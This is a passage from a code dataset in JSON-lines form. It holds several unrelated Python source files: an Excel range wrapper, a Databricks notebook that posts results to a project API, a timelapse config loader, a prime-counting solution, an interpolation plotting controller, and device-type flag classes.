the workbook if it has one.\n start_cell: The first cell in the range (top-left corner).\n address: str, refers to the definition of the range (without $). e.g. 'A1:B2'.\n number_format: str, code denoting the formatting rules for numbers in this cell.\n has_data_validation: bool, True if a range has data validation rules applied.\n comment: str or None, the comment (if any) attached to the first cell in the range.\n _range: the win32com.client.CDispatch object referring to this range.\n Arguments:\n application: win32com.client.CDispatch, the Microsoft Excel application that the workbook\n the range belongs to is open in.\n range: str, the cell reference in Microsoft Excel syntax.\n Examples:\n The range can be referenced as a string or as a number combination. In the following example, cell 'A5' is\n equivalent to tuple (1, 5):\n >>>spreadhseet['A5']\n >>>spreadsheet[1, 5]\n A range of more than one cell can be called as well using string or tuple combinations. In the following\n example, the range 'A1:B5' is equivalent to ((1, 1), (5, 1)):\n >>>spreadsheet['A1:B5']\n >>>spreadsheet[(1, 1), (5, 1)]\n \"\"\"\n def __init__(self, application: win32com.client.CDispatch,\n range: Union[str, Tuple[int, int], Tuple[Tuple[int, int], Tuple[int, int]]]):\n self.app = application\n try:\n if isinstance(range, tuple):\n if isinstance(range[0], tuple):\n self._range = application.Range(application.Cells(range[0][0], range[0][1]),\n application.Cells(range[1][0], range[1][1]))\n else:\n self._range = application.Cells(range[0], range[1])\n else:\n self._range = application.Range(range)\n # pylint: disable=no-member\n except pywintypes.com_error as com_error:\n raise ExcelError('Could not find range \"' + range + '\"') from com_error\n\n def __len__(self):\n list_of_values = [element for tupl in self._range for element in tupl]\n return len(list_of_values)\n\n def __eq__(self, other):\n return self.address == other.address and self.sheet == other.sheet and self.app == other.app\n\n @property\n def sheet(self):\n \"\"\"Returns the win32com.client.CDispatch object referring to the worksheet\n that this cell range is on\"\"\"\n return self._range.Worksheet\n\n @property\n def dim(self):\n \"\"\"Returns the number of columns, rows in this range as a tuple\"\"\"\n return self._range.Columns.Count, self._range.Rows.Count\n\n @property\n def rows(self):\n \"\"\"Returns the amount of rows in the range\"\"\"\n return self._range.Rows.Count\n\n @property\n def columns(self):\n \"\"\"Returns the amount of columns in the range\"\"\"\n return self._range.Columns.Count\n\n @property\n def values(self):\n \"\"\"Returns the values of the cells in the range\"\"\"\n return self._range.Value2\n\n @property\n def name(self):\n \"\"\"Returns the name of the range if applicable\"\"\"\n try:\n return self._range.Name.Name\n # pylint: disable=no-member\n except pywintypes.com_error:\n return None\n\n @property\n def start_cell(self):\n \"\"\"Returns the first cell in the range\"\"\"\n return self.address.split(':')[0]\n\n @property\n def address(self):\n \"\"\"Returns the definition of the range (without $)\"\"\"\n return re.sub('\\$','', self._range.Address)\n\n @property\n def number_format(self):\n \"\"\"Returns code denoting the formatting rules for numbers in this cell.\"\"\"\n return self._range.NumberFormat\n\n @property\n def has_data_validation(self):\n \"\"\"Returns a bool dependant on whether the range has data validation.\"\"\"\n try:\n type = self._range.Validation.Type\n return True\n except:\n return False\n\n @property\n def comment(self):\n \"\"\"Returns the comment (if any) attached to the first cell in the range.\"\"\"\n if self._range.Cells(1).Comment:\n return self._range.Cells(1).Comment.Text()\n return None\n\n @comment.setter\n def comment(self, text: str):\n \"\"\"Adds a comment to the first cell in a range.\n For example, if the range is 'A1:B2' then the comment will be added to cell 'A1'.\n Other comments will be removed from the cell.\n Arguments:\n text: str, the comment to add.\n \"\"\"\n self.clear_comments()\n if text is not None:\n self._range.Cells(1).AddComment(text)\n\n @values.setter\n def values(self, values):\n \"\"\"Sets the values of the cells in a range.\n Arguments:\n values: the values to insert into cells. This can be a single value (will set only the first cell of the\n range), an iterable or a pandas DataFrame. If fewer values are passed then there are cells in the range,\n the remaining cells will be left blank.\n Examples:\n The values can be single values, for example:\n >>>spreadsheet['A1'].values = 1\n >>>spreadsheet[(1, 2), (2, 5)].values = 'abc'\n Or an iterable (which can contain other iterables to form a matrix-like data structure), for example:\n >>>spreadsheet['A1:B2'].values = (('a', 'b'), ('c', 'd'))\n Or a pandas DataFrame. If a DataFrame is passed the column names and index will not be inserted, only the\n values of the DataFrame will be used.\n \"\"\"\n if isinstance(values, pd.core.frame.DataFrame):\n values = tuple(map(tuple, values.values))\n row_offset = len(values)\n column_offset = max([len(v) if is_iter(v) else 1 for v in values])\n end_cell = self.app.Range(self.start_cell).GetOffset(row_offset, column_offset).Address.replace('$', '')\n self._range = self.app.Range(':'.join([self.start_cell, end_cell]))\n values = format_values(values, self.rows, self.columns)\n self._range.Value2 = values\n\n @name.setter\n def name(self, name: str):\n \"\"\"Adds a name to the range.\"\"\"\n self.app.Names.Add(Name=name, RefersTo=self.app.ActiveSheet.Range(self.address))\n\n @number_format.setter\n def number_format(self, format_string: str):\n \"\"\"Sets the number format of the range to a given code.\n For more information on number format codes in Microsoft Excel, see\n https://support.office.com/en-gb/article/number-format-codes-5026bbd6-04bc-48cd-bf33-80f18b4eae68?ui=en-US&rs=en-GB&ad=GB\n \"\"\"\n self._range.NumberFormat = format_string\n\n def calculate(self):\n \"\"\"Recalculates the values of any formulas in the range.\"\"\"\n self._range.Calculate()\n\n def select_table(self):\n \"\"\"Adds all non-empty adjacent cells to the range.\n The current range will be extended first horizontally and then vertically until a blank cell is encountered.\n Similar in functionality to using ctrl + shift + down/right arrow keys in Microsoft Excel.\n Returns:\n Self, after modifying self._range to be the new range.\n Examples:\n The table selection is done by referencing the starting cell as follows:\n >>>spreadsheet['B10'].select_table()\n \"\"\"\n if self.app.Range(self.start_cell).GetOffset(0, 1).Value2 is None:\n end_column = re.findall('[A-Z]+',\n self.start_cell)[0]\n else:\n end_column = re.findall('[A-Z]+',\n self.app.Range(self.start_cell)\n .End(config.xlToRight)\n .Address\n .replace('$', ''))[0]\n if self.app.Range(self.start_cell).GetOffset(1, 0).Value2 is None:\n end_index = re.findall('[0-9]+',\n self.start_cell)[0]\n else:\n end_index = re.findall('[0-9]+',\n self.app.Range(self.start_cell)\n .End(config.xlDown)\n .Address\n .replace('$', ''))[0]\n end_cell = ''.join([end_column,end_index])\n self._range = self.app.Range(':'.join([self.start_cell,\n end_cell]))\n return self\n\n def to_dataframe(self, header: bool=False, index: bool=False):\n \"\"\"Returns a pandas DataFrame of the values in the range.\n Arguments:\n header: bool, if True, the first row in the range will be used as column names.\n index: bool, if True, the first column in the range will be used as index names.\n Returns:\n A pandas DataFrame.\n \"\"\"\n if self.values:\n dataframe = pd.DataFrame(list(self.values))\n if header:\n dataframe.columns = dataframe.iloc[0]\n dataframe = dataframe.iloc[1:]\n if index:\n dataframe.set_index(dataframe.columns[0],drop=True,inplace=True)\n return dataframe\n return None\n\n def copy(self):\n \"\"\"Copies the range to clipboard.\"\"\"\n self._range.Select()\n self._range.Copy()\n\n def cut(self):\n \"\"\"Copies the range to clipboard and clears the range.\"\"\"\n self._range.Select()\n self._range.Cut()\n\n def paste(self):\n \"\"\"Paste from clipboard into the range.\"\"\"\n self._range.Select()\n self.app.ActiveSheet.Paste()\n\n def clear_all(self):\n \"\"\"Removes everything from the range (both values and formatting)\"\"\"\n self._range.Clear()\n\n def clear_values(self):\n \"\"\"Removes the values from the range\"\"\"\n self._range.ClearContents()\n\n def clear_formatting(self):\n \"\"\"Removes all formatting from the range including comments and outlines\"\"\"\n self._range.ClearFormats()\n self._range.ClearComments()\n self._range.ClearOutline()\n\n def clear_contents(self):\n \"\"\"Removes only the contents of the range\"\"\"\n self._range.ClearContents()\n\n def clear_comments(self):\n self._range.ClearComments()\n\n def data_validation_from_list(self, list: list):\n \"\"\"Adds data validation to the range based on a list of values.\n This adds a drop down menu to the range allowing users to select a value based\n on the contents of 'list'. This is not enforced when interacting with Microsoft\n Excel via this package or VBA however.\n Arguments:\n list: list, the list of values allowed for this range.\n \"\"\"\n formula = ','.join([str(i) for i in list])\n self._range.Validation.Delete()\n self._range.Validation.Add(Type=3, AlertStyle=1, Operator=1, Formula1=formula)\n\n\ndef is_iter(value: Any) -> bool:\n \"\"\"Returns True if a value is a non-str iterable.\"\"\"\n return hasattr(value, '__iter__') and not isinstance(value, str)\n\n\ndef format_values(values: Any, rows: int, col: int) -> Tuple[Tuple[Any, ...], ...]:\n \"\"\"Formats values into tuples appropriate for passing to an excel range.\n\n Values will be transformed into a tuple containing 'rows' number of tuples, each of length\n 'cols'. These tuples are padded with None.\n This format is essentially a sequence of row values.\n\n Arguments:\n values: values to reshape. This can be a single value, or an iterable of values.\n rows: int, the number of tuples in the resulting tuple.\n This should be equal to the number of rows in the range the\n values will be written to.\n cols: int, the number of values in each tuple inside the resulting tuple.\n This should be equal to the number of columns in the range the values will be written to.\n\n Returns:\n Tuple.\n\n Raises:\n ExcelError if the passed values are longer than the passed (rows, columns) dimensions.\n \"\"\"\n if not is_iter(values):\n values = (values,)\n elif any(is_iter(v) for v in values):\n values = tuple(v if is_iter(v) else (v,) for v in values)\n else:\n values = (values,)\n if len(values) > rows or max([len(v) if is_iter(v) else 1 for v in values]) > col:\n raise ExcelError('Dimensions of values passed exceed dimensions of range.')\n array = np.full(shape=(rows, col), fill_value=None)\n for i, value in enumerate(values):\n if isinstance(value, (list, tuple)):\n for j, v in enumerate(value):\n array[i, j] = v\n else:\n array[0, i] = value\n return tuple(map(tuple, array))\n\n\nclass ExcelError(Exception):\n \"\"\"Replaces pywintypes.com_error with more informative error messages.\"\"\"\n pass", "repo_name": "chrispcharlton/automate_excel", "sub_path": "src/range.py", "file_name": "range.py", "file_ext": "py", "file_size_in_byte": 13725, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "win32com.client.client", "line_number": 43, "usage_type": "attribute"}, {"api_name": "win32com.client", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 44, "usage_type": "name"}, {"api_name": "pywintypes.com_error", "line_number": 56, "usage_type": "attribute"}, {"api_name": "pywintypes.com_error", "line_number": 98, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.core", "line_number": 160, "usage_type": "attribute"}, {"api_name": "re.findall", "line_number": 197, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 200, "usage_type": "call"}, {"api_name": "src.config.xlToRight", "line_number": 202, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 202, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 206, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 209, "usage_type": "call"}, {"api_name": "src.config.xlDown", "line_number": 211, "usage_type": "attribute"}, {"api_name": "src.config", "line_number": 211, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 228, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 286, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 291, "usage_type": "name"}, {"api_name": "numpy.full", "line_number": 320, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 291, "usage_type": "name"}]} {"seq_id": "13342213745", "text": "# Databricks notebook source\nimport pandas as pd\nimport time\nimport requests\n\n# COMMAND ----------\n\ndbutils.widgets.text(\"file_path\", '')\nfile_path = dbutils.widgets.get(\"file_path\")\n\ndbutils.widgets.text(\"country\", '')\ncountry = dbutils.widgets.get(\"country\")\n\n# COMMAND ----------\n\n# Functions\n\n\ndef inference_hidratation(file_path):\n return dbutils.notebook.run(path='/Users/nick_altgelt@bat.com/DIF/v1.1/source/data_hydratation_process', timeout_seconds=0, arguments={\n 'channel_column_name': 'Message_Type',\n 'creds_scope_name': 'geolocation',\n 'creds_set_name': 'DEV',\n 'input_file_path': file_path,\n 'user_column_name': 'SenderUserId',\n 'post_link_column_name': 'Permalink',\n 'model_name': 'geolocation',\n 'need_tw_timelines': \"True\",\n })\n\n\ndef csv_to_dataframe(csv_path):\n data = pd.read_csv(csv_path)\n return data\n\n\ndef send_to_api(data):\n url = \"https://edp-middleware.herokuapp.com\"\n path = \"/end_hidratation\"\n response = requests.post(url=url + path, json=data)\n final = response.json()\n return final\n\n# COMMAND ----------\n\n\n# Hidratation\nhidratation_result = inference_hidratation(file_path)\n\n# COMMAND ----------\n\nprint(hidratation_result)\n\n# COMMAND ----------\n\nresponse = send_to_api({\"fpath\": hidratation_result, \"country\": country})\nprint(response)\n\n# COMMAND ----------\n\ndbutils.notebook.exit(hidratation_result)\n", "repo_name": "advillegas5326/Geolocation-Author-Automation", "sub_path": "steps/general/hidratation_step.py", "file_name": "hidratation_step.py", "file_ext": "py", "file_size_in_byte": 1415, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 40, "usage_type": "call"}]} {"seq_id": "70477511931", "text": "import json\nimport os\nimport typing\nfrom datetime import datetime\n\n\nclass RunSchedule(object):\n def __init__(self, start, end):\n self.start = datetime.strptime(start, '%d/%m/%Y_%H:%M:%S')\n self.end = datetime.strptime(end, '%d/%m/%Y_%H:%M:%S')\n\n\ndef build_schedule_array(schedules_dict) -> typing.List[RunSchedule]:\n schedule_list = []\n for i in range(len(schedules_dict)):\n schedule_list.append(RunSchedule(schedules_dict[i]['start'], schedules_dict[i]['end']))\n\n return schedule_list\n\n\nclass RunConfiguration(object):\n def __init__(self, debug_mode, image_folder, interval, schedules):\n self.debug_mode = debug_mode == 'true'\n self.image_folder = image_folder\n self.interval = int(interval)\n self.schedules = build_schedule_array(schedules)\n\n\nclass CameraConfiguration(object):\n def __init__(self, resolution_width, resolution_height, framerate, rotation):\n self.resolution_width = int(resolution_width)\n self.resolution_height = int(resolution_height)\n self.framerate = int(framerate)\n self.rotation = int(rotation)\n\n\nclass JsonConfigManager(object):\n def __init__(self):\n filename = os.path.join(os.path.dirname(__file__), 'run_configuration.json')\n with open(filename) as f:\n data = json.load(f)\n self.run_configuration = RunConfiguration(\n data['run_configuration']['debug_mode'],\n data['run_configuration']['image_folder'],\n data['run_configuration']['interval'],\n data['run_configuration']['schedules'])\n self.camera_configuration = CameraConfiguration(\n data['camera_configuration']['resolution_width'],\n data['camera_configuration']['resolution_height'],\n data['camera_configuration']['framerate'],\n data['camera_configuration']['rotation'])\n", "repo_name": "JamesRWood/TimeLapse", "sub_path": "timelapse/json_config_manager.py", "file_name": "json_config_manager.py", "file_ext": "py", "file_size_in_byte": 1917, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.strptime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 10, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 39, "usage_type": "call"}, {"api_name": "json.load", "line_number": 41, "usage_type": "call"}]} {"seq_id": "10990400545", "text": "import itertools\n\n\ndef is_prime(number):\n if number < 2:\n return False\n for i in range(2, number):\n if number % i == 0:\n return False\n return True\n\n\ndef solution(numbers):\n n = len(numbers)\n cnt = 0\n\n permu = []\n for i in range(1, n + 1):\n p_list = itertools.permutations(numbers, i)\n for p in p_list:\n permu.append(p)\n\n possible = []\n for ele in permu:\n x = ''.join(ele)\n possible.append(int(x))\n\n for ele in set(possible):\n if is_prime(ele):\n cnt += 1\n\n return cnt", "repo_name": "YNNJN/Programmers", "sub_path": "Brute-Force/소수찾기.py", "file_name": "소수찾기.py", "file_ext": "py", "file_size_in_byte": 581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "itertools.permutations", "line_number": 19, "usage_type": "call"}]} {"seq_id": "21305934472", "text": "import pandas as pd\nimport numpy as np\nimport components.interpolator as polys\nimport matplotlib.pyplot as plt\nfrom numpy import linspace, array\nfrom sympy import Symbol, simplify\nfrom tkinter import filedialog as fd\nfrom components.generator import write_points, write_summary\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\n\ndef init_setup(window):\n ax, chart, fig = make_plot(window)\n data_file = \"\"\n return ax, chart, fig, data_file\n\ndef make_plot(window):\n plt.ion()\n fig = Figure(figsize = (7.6, 5.5), dpi = 100, facecolor=\"#131626\")\n fig.add_subplot(111)\n ax = fig.get_axes()[0]\n ax.grid()\n ax.spines['bottom'].set_color(\"#FFE6EA\")\n ax.spines['top'].set_color(\"#FFE6EA\") \n ax.spines['right'].set_color(\"#FFE6EA\")\n ax.spines['left'].set_color(\"#FFE6EA\")\n ax.tick_params(axis='x', colors=\"#FFE6EA\")\n ax.tick_params(axis='y', colors=\"#FFE6EA\")\n ax.yaxis.label.set_color(\"#FFE6EA\")\n ax.xaxis.label.set_color(\"#FFE6EA\")\n ax.set(\n xlabel = \"Variable X\",\n ylabel = \"Imagen Y\",\n facecolor = \"#131626\",\n )\n chart = FigureCanvasTkAgg(fig, master = window) \n chart.get_tk_widget().place(x=220, y=20)\n chart.draw()\n return ax, chart, fig\n\ndef clean_plot(ax, chart, points=True, curve=True):\n if points:\n for point in ax.collections:\n point.remove()\n if curve:\n for line in ax.lines:\n line.remove()\n chart.draw()\n return\n\ndef resize_plot(ax, x_data, y_data):\n beta = 0.2\n x_min = min(x_data)\n y_min = min(y_data)\n x_max = max(x_data)\n y_max = max(y_data)\n x_prom = abs(x_max+x_min)/2\n y_prom = abs(y_max+y_min)/2\n ax.set_xlim([x_min-beta*x_prom, x_max+beta*x_prom])\n ax.set_ylim([y_min-beta*y_prom, y_max+beta*y_prom])\n return\n\ndef update_points(ax, chart, x_point, y_point):\n ax.scatter(x_point, y_point, marker=\"x\", color=\"#FFE6EA\")\n resize_plot(ax, x_point, y_point)\n chart.draw()\n return\n\ndef update_curve(ax, chart, data_file, method, n):\n clean_plot(ax, chart, points=False)\n try:\n n = int(n)\n except:\n n = None\n sca_data = ax.collections[0]\n points = sca_data.get_offsets().data\n write_points(points, \"data/cache/points.csv\")\n copy = np.copy(points)\n points = random_sample(points, n)\n write_points(points, \"data/cache/sample.csv\")\n x = Symbol(\"x\")\n px, e_method = getattr(polys, method)(points)\n domain = linspace(min(points[:,0]), max(points[:,0]), num=100)\n image = array([px.subs(x, val) for val in domain])\n ax.plot(domain, image, color=\"#FFE6EA\")\n chart.draw()\n write_summary({\n \"function\": f\"{ax.get_ylabel()}({ax.get_xlabel()})\",\n \"variables\": f\"{ax.get_xlabel()} -- {ax.get_ylabel()}\",\n \"method\": method,\n \"poly\": str(simplify(px)),\n \"points\": len(points),\n \"err_sample\": err_sample(copy,px),\n \"err_method\": e_method,\n })\n return\n\ndef set_data(ax, chart, data_file):\n clean_plot(ax, chart)\n data_file = fd.askopenfilename()\n data = pd.read_csv(data_file)\n x_points = data.iloc[:,0]\n y_points = data.iloc[:,1]\n ax.set(\n xlabel = data.columns[0],\n ylabel = data.columns[1],\n )\n update_points(ax, chart, x_points, y_points)\n return\n\n\ndef random_sample(points, n):\n #n is poly deg\n if n == None:\n return points\n if len(points) < n+1:\n return points\n sample = np.zeros((n+1,2))\n dim = n+1\n n_old = len(points) - 1\n chunk = int((n_old+1)//(n+1) + ((n_old+1)%(n+1))/(abs((n_old+1)%(n+1) - 1) + 1))\n for chip in range(0,dim):\n if chip == 0:\n sample[chip] = points[0]\n elif chip == dim-1:\n sample[chip] = points[-1]\n else:\n sample[chip] = points[chunk*(chip):chunk*(chip+1)][np.random.randint(0,chunk-1)]\n return sample\n\ndef err_sample(points, poly):\n x = Symbol(\"x\")\n e = 0\n for k in range(len(points)):\n e += abs(points[k,1]-poly.subs({x: points[k,0]}))\n return e/len(points)", "repo_name": "MachineMindCore/function_mapper", "sub_path": "components/controller.py", "file_name": "controller.py", "file_ext": "py", "file_size_in_byte": 4082, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.ion", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.figure.Figure", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.backends.backend_tkagg.FigureCanvasTkAgg", "line_number": 36, "usage_type": "call"}, {"api_name": "components.generator.write_points", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.copy", "line_number": 78, "usage_type": "call"}, {"api_name": "components.generator.write_points", "line_number": 80, "usage_type": "call"}, {"api_name": "sympy.Symbol", "line_number": 81, "usage_type": "call"}, {"api_name": "components.interpolator", "line_number": 82, "usage_type": "argument"}, {"api_name": "numpy.linspace", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 84, "usage_type": "call"}, {"api_name": "components.generator.write_summary", "line_number": 87, "usage_type": "call"}, {"api_name": "sympy.simplify", "line_number": 91, "usage_type": "call"}, {"api_name": "tkinter.filedialog.askopenfilename", "line_number": 100, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 100, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 101, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 128, "usage_type": "attribute"}, {"api_name": "sympy.Symbol", "line_number": 132, "usage_type": "call"}]} {"seq_id": "37224168315", "text": "import warnings\nfrom enum import Flag, auto, unique\n\n\nclass DutTypeInt(object):\n \"\"\"Class for DutType flags. Adds the nodes attribute to an integer value. This allows direct assignment of nodes to a DutType.\n\n Parameters\n ----------\n value : int\n node : [str]\n List of nodes.\n \"\"\"\n\n def __init__(self, value, *, string, nodes=None):\n try:\n self.value = value.value\n except AttributeError:\n self.value = int(value)\n\n if nodes is not None:\n self.nodes = nodes\n else:\n try:\n self.nodes = value.nodes\n except AttributeError:\n self.nodes = []\n\n self.string = string\n\n def get_nodes(self):\n \"\"\"Return the nodes that are typically found in this Dut_type. For convenience.\n\n Repeated here just to get rid of the pylint error. The real method is below in the DutType-flag\n\n Returns\n -------\n nodes : list of strings\n List of strings\n \"\"\"\n return self.nodes\n\n def get_string(self):\n \"\"\"Return the string that describes this Dut_type.\n\n Returns\n -------\n string : string\n the string that describes this object\n \"\"\"\n return self.string\n\n def __and__(self, other):\n try:\n return DutTypeInt(self.value & other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value & other, string=self.get_string(), nodes=self.nodes)\n\n def __rand__(self, other):\n return self.__and__(other)\n\n def __xor__(self, other):\n try:\n return DutTypeInt(self.value ^ other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value ^ other, string=self.get_string(), nodes=self.nodes)\n\n def __rxor__(self, other):\n return self.__xor__(other)\n\n def __or__(self, other):\n try:\n return DutTypeInt(self.value | other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value | other, string=self.get_string(), nodes=self.nodes)\n\n def __ror__(self, other):\n return self.__or__(other)\n\n def __eq__(self, other):\n try:\n return self.value == other.value\n except AttributeError:\n return self.value == other\n\n def __invert__(self):\n return DutTypeInt(~self.value, string=self.get_string(), nodes=self.nodes)\n\n def __bool__(self):\n return bool(self.value)\n\n def __str__(self):\n return self.string\n\n def __int__(self):\n return self.value\n\n def is_subtype(self, other):\n \"\"\"Test if a device is a subtype of an other device/devicetype\n\n Ignores the flag_subtype!\n\n Parameters\n ----------\n other : int, DutTypeInt\n \"\"\"\n # remove subtype flag..\n # val_subtype_flags = (\n # DutTypeFlag._flag_subtype_1\n # | DutTypeFlag._flag_subtype_2\n # | DutTypeFlag._flag_subtype_3\n # | DutTypeFlag._flag_subtype_4\n # )\n if DutTypeFlag._flag_subtype_1 & self:\n self_wo_subtype = self - DutTypeFlag._flag_subtype_1\n elif DutTypeFlag._flag_subtype_2 & self:\n self_wo_subtype = self - DutTypeFlag._flag_subtype_2\n elif DutTypeFlag._flag_subtype_3 & self:\n self_wo_subtype = self - DutTypeFlag._flag_subtype_3\n elif DutTypeFlag._flag_subtype_4 & self:\n self_wo_subtype = self - DutTypeFlag._flag_subtype_4\n else:\n self_wo_subtype = self\n\n if DutTypeFlag._flag_subtype_1 & other:\n other_wo_subtype = other - DutTypeFlag._flag_subtype_1\n elif DutTypeFlag._flag_subtype_2 & other:\n other_wo_subtype = other - DutTypeFlag._flag_subtype_2\n elif DutTypeFlag._flag_subtype_3 & other:\n other_wo_subtype = other - DutTypeFlag._flag_subtype_3\n elif DutTypeFlag._flag_subtype_4 & other:\n other_wo_subtype = other - DutTypeFlag._flag_subtype_4\n else:\n other_wo_subtype = other\n\n res = self_wo_subtype & other_wo_subtype\n return res == other\n\n def __lt__(self, other):\n try:\n return DutTypeInt(self.value < other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value < other, string=self.get_string(), nodes=self.nodes)\n\n def __le__(self, other):\n try:\n return DutTypeInt(self.value <= other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value <= other, string=self.get_string(), nodes=self.nodes)\n\n def __gt__(self, other):\n try:\n return DutTypeInt(self.value > other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value > other, string=self.get_string(), nodes=self.nodes)\n\n def __ge__(self, other):\n try:\n return DutTypeInt(self.value >= other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value >= other, string=self.get_string(), nodes=self.nodes)\n\n def __sub__(self, other):\n try:\n return DutTypeInt(self.value - other.value, string=self.get_string(), nodes=self.nodes)\n except AttributeError:\n return DutTypeInt(self.value - other, string=self.get_string(), nodes=self.nodes)\n\n def __hash__(self):\n return hash((self.value, tuple(self.nodes), self.string))\n\n def bit_length(self):\n return self.value.bit_length()\n\n def serialize(self):\n \"Converts the DutTypeInt into a dictionary with only strings (ready to be serealized to json)\"\n dut_type = repr(self)\n i_start = 1 # cut away starting \"<\"\n i_end = dut_type.find(\" object\")\n return {\n \"DutType\": dut_type[i_start:i_end],\n \"string\": self.string,\n \"value\": self.value,\n \"nodes\": self.nodes,\n \"__DutType__\": \"1.0.0\",\n }\n\n\n@unique # do not allow same values for different types\nclass DutTypeFlag(Flag):\n \"\"\"\n Flags which represents most common devices that might need to be handled by DMT\n\n Methods\n -------\n get_nodes(filename)\n Returns the names of the nodes typicall found in the specified DutType\n \"\"\"\n\n _flag_subtype_1 = auto()\n _flag_subtype_2 = auto()\n _flag_subtype_3 = auto()\n _flag_subtype_4 = auto()\n flag_device = auto()\n flag_bulk = auto()\n flag_meas_struct = auto()\n flag_deemb_struct = auto()\n flag_transistor = auto()\n flag_bjt = auto()\n flag_bjt_deemb = auto()\n flag_mos = auto()\n flag_mos_deemb = auto()\n flag_diode = auto()\n flag_cap = auto()\n flag_res = auto()\n flag_tetrode = auto()\n flag_tlm = auto()\n flag_deem = auto()\n flag_vdp = auto()\n\n # flag_npn = auto()\n # flag_pnp = auto()\n # flag_n_mos = auto()\n # flag_p_mos = auto()\n\n flag_open = auto()\n flag_short = auto()\n\n def get_nodes(self):\n \"\"\"\n Return the nodes that are typically found in this DutType. For convenience.\n\n Returns\n -------\n nodes : list of strings\n List of strings\n \"\"\"\n return []\n\n def get_string(self):\n \"\"\"\n Return the string that describes this DutType.\n\n Returns\n -------\n nodes : string\n String that describes this DutType.\n \"\"\"\n return \"\"\n\n def __str__(self):\n return str(self.value.__class__)\n\n def serialize(self):\n \"Converts the DutTypeFlag into a dictionary with only strings (ready to be serealized to json)\"\n dut_type = repr(self)\n i_start = 1 # cut away starting \"<\"\n i_end = dut_type.find(\":\")\n return {\n \"DutType\": dut_type[i_start:i_end],\n \"string\": self.get_string(),\n \"value\": self.value,\n \"nodes\": self.get_nodes(),\n \"__DutType__\": \"1.0.0\",\n }\n\n\nclass DutType(object):\n \"\"\"concrete DutTypes to be used for DutViews\"\"\"\n\n dummy = DutTypeInt(0, string=\"dummy\") # dummy is nothing! Use DutTypeInt to allow get_nodes\n device = DutTypeInt(DutTypeFlag.flag_device, string=\"device\")\n bulk = DutTypeInt(DutTypeFlag.flag_bulk, string=\"bulk\")\n meas_struct = DutTypeInt(DutTypeFlag.flag_meas_struct, string=\"meas_struct\")\n deemb_struct = DutTypeInt(DutTypeFlag.flag_deemb_struct, string=\"deemb_struct\")\n\n # now the mixed flags, are DutTypeInts as the numbers are already given:\n transistor = DutTypeInt(device | DutTypeFlag.flag_transistor, string=\"transistor\")\n bjt = DutTypeInt(transistor | DutTypeFlag.flag_bjt, nodes=[\"B\", \"C\", \"E\", \"S\"], string=\"bjt\")\n mos = DutTypeInt(transistor | DutTypeFlag.flag_mos, nodes=[\"G\", \"D\", \"S\", \"B\"], string=\"mos\")\n deem_bjt = DutTypeInt(\n deemb_struct | DutTypeFlag.flag_bjt_deemb,\n nodes=[\"B\", \"C\", \"E\", \"S\"],\n string=\"bjt_deemb\",\n ) # because of node names :(\n deem_mos = DutTypeInt(\n deemb_struct | DutTypeFlag.flag_mos_deemb,\n nodes=[\"G\", \"D\", \"S\", \"B\"],\n string=\"mos_deemb\",\n ) # because of node names :(\n\n # npn = DutTypeInt(bjt | DutTypeFlag.flag_npn, string=\"npn\") # nodes are inherited from bjt\n npn = DutTypeInt(\n bjt | DutTypeFlag._flag_subtype_1, string=\"npn\"\n ) # nodes are inherited from bjt\n # pnp = DutTypeInt(bjt | DutTypeFlag.flag_pnp, string=\"pnp\")\n pnp = DutTypeInt(bjt | DutTypeFlag._flag_subtype_2, string=\"pnp\")\n # n_mos = 